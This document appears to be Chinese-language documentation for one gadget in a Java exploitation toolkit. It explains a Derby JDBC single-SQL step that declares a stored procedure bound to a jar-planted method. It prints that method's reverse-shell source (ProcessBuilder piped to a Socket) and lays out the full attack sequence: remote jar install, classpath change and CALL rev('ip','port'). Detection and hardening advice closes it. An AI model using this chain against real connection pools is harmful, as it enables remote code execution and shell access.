Skip to content

Latest commit

 

History

History
147 lines (111 loc) · 11.3 KB

File metadata and controls

147 lines (111 loc) · 11.3 KB

4.Derby CreateRevProc 单SQL(DerbyCreateRevProcJdbc)

  • 类别:common 别名:— 优先级:—
  • 作者:X1r0z
  • 依赖derby:org.apache.derby.jdbc.EmbeddedDriver(目标 classpath 存在 Apache Derby 嵌入式驱动)

作用

生成一条 Derby 的 CREATE PROCEDURE DDL 语句,把 SQL 可调用的存储过程 rev(host, port) 绑定到先前经 SQLJ.INSTALL_JAR 植入数据库的 Java 类的静态方法 <className>.rev。它本身不触发任何代码执行,只是 Derby「远程加载 jar → 反弹 shell」多步利用中的第 4 步(过程声明阶段),为随后 CALL rev('ip','port') 的真正调用铺路。

该 gadget 属 singlesql(单条 SQL)系列:产物中 JDBC_URL_SQL_LIST 只含一条语句,专门适配 HikariCP、Tomcat JDBC 等每次连接仅允许执行单条初始化 SQL 的连接池(如 HikariCP 的 connectionInitSql、Tomcat JDBC 的 initSQL)。攻击者需分多次连接 / 多次配置注入,依次投递本系列各步语句。

链接标签

  • 入口 tagsDerbyJdbcUrlJdbcUrlChainsEND
    • DerbyJdbcUrl:标明产物是针对 Derby 嵌入式驱动的 JDBC URL + SQL 配置。
  • JdbcUrlChains:与 JDBCPayload(@PayloadAnnotation.gadgetTags={"JdbcUrlChains"})对接——由该 Payload 把 gadget 产物落地为最终 JDBC 利用配置。
  • END:本 gadget 为链尾自足节点,invoke不调用 chain.doCreate(context),自身直接产出完整产物,无更内层对象。
  • 衔接 nextTags:(空)——链尾 sink,其后不再衔接其它 gadget。
  • excludes:(空)。

说明:与 CB1 等「由内向外包装」的原生反序列化链不同,Derby JdbcUrl 系列每个 gadget 都是独立的 END 节点,各自输出一条 SQL 配置;「链」体现在攻击者按语义顺序(安装 jar → 加 classpath → 建过程 → 调用)分步执行这些独立产物,而非序列化层面的嵌套。

源码剖析

本类直接实现 Gadget 接口(无基类),核心是 getObject() 拼装一张 JDBC 配置 Map:

@GadgetTags(tags={"DerbyJdbcUrl", "JdbcUrlChains", "END"})
public class DerbyCreateRevProcJdbc implements Gadget {
    @Param(name="数据库名")
    public String database = "dbtest";
    @Param(name="Jar包内的className", description="在DerbyInstallJar时可通过Context上下文输出进行获取")
    public String className;
    public String driverClassName = "org.apache.derby.jdbc.EmbeddedDriver";

    public Map<String, Object> getObject() {
        String url = "jdbc:derby:memory:" + this.database + ";create=true";
        ArrayList<String> sqlList = new ArrayList<String>();
        sqlList.add("CREATE PROCEDURE rev(IN host VARCHAR(255), IN port VARCHAR(255)) "
            + "PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA "
            + "EXTERNAL NAME '" + this.className + ".rev'");
        HashMap<String, Object> map = new HashMap<String, Object>();
        map.put(ContextTag.JDBC_DRIVER, this.driverClassName);
        map.put(ContextTag.JDBC_URL, url);
        map.put(ContextTag.JDBC_URL_SQL_LIST, sqlList);
        return map;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        Map<String, Object> jdbcMap = this.getObject();
        context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
        return jdbcMap;
    }
}

逐段解释

  1. JDBC URLjdbc:derby:memory:<database>;create=true —— 使用 Derby 的内存库memory:),create=true 指连接时库不存在则创建。同一 database 名在同一 JVM 内多次连接命中同一内存库,因此本系列各步 SQL 能作用于同一持久库实例,这正是「分多次单 SQL 投递」得以串接的前提。

  2. 过程声明语句(唯一一条 SQL):

    CREATE PROCEDURE rev(IN host VARCHAR(255), IN port VARCHAR(255))
      PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA
      EXTERNAL NAME '<className>.rev'

    LANGUAGE JAVA + EXTERNAL NAME '<类全名>.<方法名>' 是 Derby 的 Java 存储过程机制:把 SQL 过程名 rev 映射到一个 public static Java 方法。这里目标方法即随 jar 植入的 <className>.rev(String host, String port)(见下游模板类 DerbyJarTemplate.rev)。签名两个 VARCHAR 入参对应 Java String host, String port。声明本身不执行方法体,仅在数据字典中登记映射。

  3. 产物 Map 三个键(ContextTag 常量,来自未反编译的 com.ar3h.chains.common):

    • JDBC_DRIVER = org.apache.derby.jdbc.EmbeddedDriver(驱动类)。
    • JDBC_URL = 上述内存库 URL。
    • JDBC_URL_SQL_LIST = 仅含该 CREATE PROCEDURE 的单元素列表——「单 SQL」语义的体现。
  4. invoke:调用 getObject() 得到 Map,并把 driverClassNameDRIVER_CLASS_NAME_KEY 写回 GadgetContext(供 Payload 层生成配置时读取),随后返回该 Map。注意它读取 chain.doCreate,故为独立 END 节点。

与被调用方法体的对应(下游 DerbyJarTemplate.rev

<className>.rev 的真实实现来自随 jar 植入的模板类(由 DerbyInstallJarJdbcJavassistHelper 改名后打包):

// DerbyJarTemplate.java(植入 jar 中的真实代码,rev 即本过程绑定的目标)
public static void rev(String host, String port) {
    String shell = System.getProperty("os.name").toLowerCase().contains("win") ? "cmd" : "sh";
    Process p = new ProcessBuilder(shell).redirectErrorStream(true).start();
    Socket s = new Socket(host, Integer.parseInt(port));
    // ... 在进程 stdin/stdout 与 socket 之间双向转发,实现反弹 shell
}

即:DerbyCreateRevProcJdbc 声明的 rev 过程一旦被 CALL rev('攻击机IP','端口') 触发,最终落到这段 ProcessBuilder + Socket 反弹 shell 逻辑。

参数(@Param)

字段 名称 说明 默认 可选值
database 数据库名 目标内存库名,须与本利用其它步骤(安装 jar、加 classpath、调用)使用同一名,才能命中同一库 dbtest
className Jar包内的className 过程要绑定的 Java 类名,须等于 DerbyInstallJarJdbc 随机生成并写入 Context(键 "Derby Jar ClassName")的类名;不匹配则 EXTERNAL NAME 指向不存在的类,调用时报错 无(必填)

@Param 的公开字段 driverClassName 固定为 org.apache.derby.jdbc.EmbeddedDriver,一般无需改动。

适用版本与原理要点

  • 依赖:仅需目标 classpath 含 Apache Derby 嵌入式驱动(org.apache.derby.jdbc.EmbeddedDriver)。SQLJ.INSTALL_JAR / Java 存储过程机制是 Derby 长期存在的原生特性,不针对特定 CVE,各主流版本均可用。
  • 触发前提:目标应用允许攻击者控制 JDBC 连接信息,且连接池 / 数据源支持「连接初始化 SQL」(HikariCP connectionInitSql、Tomcat JDBC initSQL、DBCP connectionInitSqls 等)。这类配置每连接只执行一条语句,故需本 singlesql 系列拆步投递。
  • 不含 RCE 触发:本步只做 CREATE PROCEDURE 声明,属「准备」环节;真正 RCE / 反弹 shell 发生在后续 CALL rev(...)(见 DerbyReverseShellJdbc)。声明与调用分离是「单 SQL」约束下的必然拆分。
  • 前置依赖className 必须与 DerbyInstallJarJdbc 生成并经 Context 输出的随机类名一致;且该 jar 已 INSTALL_JAR 并(视版本)加入 derby.database.classpath(见 DerbyAddClassPathJdbc),否则 EXTERNAL NAME 指向的类无法解析。
  • 易踩坑database 名在各步之间必须一致(同一内存库);memory: 库随 JVM 退出而清空,利用需在同一进程生命周期内串联完成。

完整单 SQL 利用序列(HikariCP / Tomcat JDBC 场景)

步骤 Gadget 关键 SQL 作用
1 DerbyInstallJarJdbc CALL SQLJ.INSTALL_JAR('http://.../x.jar', 'APP.<cls>', 0) 从 HTTP 远程加载含 exec/rev 方法的 jar
2 DerbyAddClassPathJdbc CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'APP.<cls>') 把 jar 加入数据库 classpath
3 DerbyCreateCmdProcJdbc CREATE PROCEDURE cmd(...) EXTERNAL NAME '<cls>.exec' 声明命令执行过程(可选分支)
4 DerbyCreateRevProcJdbc(本条) CREATE PROCEDURE rev(...) EXTERNAL NAME '<cls>.rev' 声明反弹 shell 过程
5 DerbyReverseShellJdbc CALL rev('ip','port') 触发反弹 shell(真正 RCE)
5' DerbyCommandJdbc CALL cmd('calc') 触发命令执行(对应步骤 3 分支)

对照:若目标连接池允许一次执行多条 SQL,则用 multisql 系列的 DerbyInstallJdbc 一步完成,无需拆分。

所属预设链

usedInChains 为空——自由构件,未直接出现在 51 条预设链中。它需与同族 Derby 单 SQL gadget 按上表顺序人工编排使用,通过 JDBCPayload(tag JdbcUrlChains)逐条生成注入到连接池初始化 SQL 的配置。

防御与检测

检测特征

  • JDBC URL 出现 jdbc:derby:memory:jdbc:derby:,尤其携带 ;create=true,且来源为外部可控配置。
  • 连接初始化 SQL / 审计日志中出现 Derby 敏感调用:SQLJ.INSTALL_JARSYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', ...)CREATE PROCEDURE ... LANGUAGE JAVA EXTERNAL NAMECALL rev(CALL cmd(
  • 短时间内针对同一内存库名(如 dbtest)的多次连接,各带不同单条初始化 SQL——符合本系列「拆步投递」模式。
  • 应用进程内 Derby 触发 ProcessBuilder/Runtime.exec 或对外 Socket 连接(对应 DerbyJarTemplate.rev/exec 方法体)。

加固建议

  • 连接池 / 数据源的 JDBC URL、驱动类、connectionInitSql / initSQL 等一律禁止外部输入拼接,做严格白名单。
  • 生产环境若不需要 Derby,移除 derby*.jar;确需嵌入式 Derby 时,禁用 Java 存储过程能力,限制 derby.database.classpath / SQLJ.INSTALL_JAR(可通过 Derby 安全属性、SecurityManager 策略或不授予相关权限)。
  • 对连接初始化 SQL 做语法审查,拦截 INSTALL_JARSET_DATABASE_PROPERTYCREATE PROCEDURE ... LANGUAGE JAVA 等 DDL/系统调用。
  • 出站网络管控:数据库进程不应能主动发起到任意外部主机的 HTTP(拉取 jar)或 TCP(反弹 shell)连接。

关联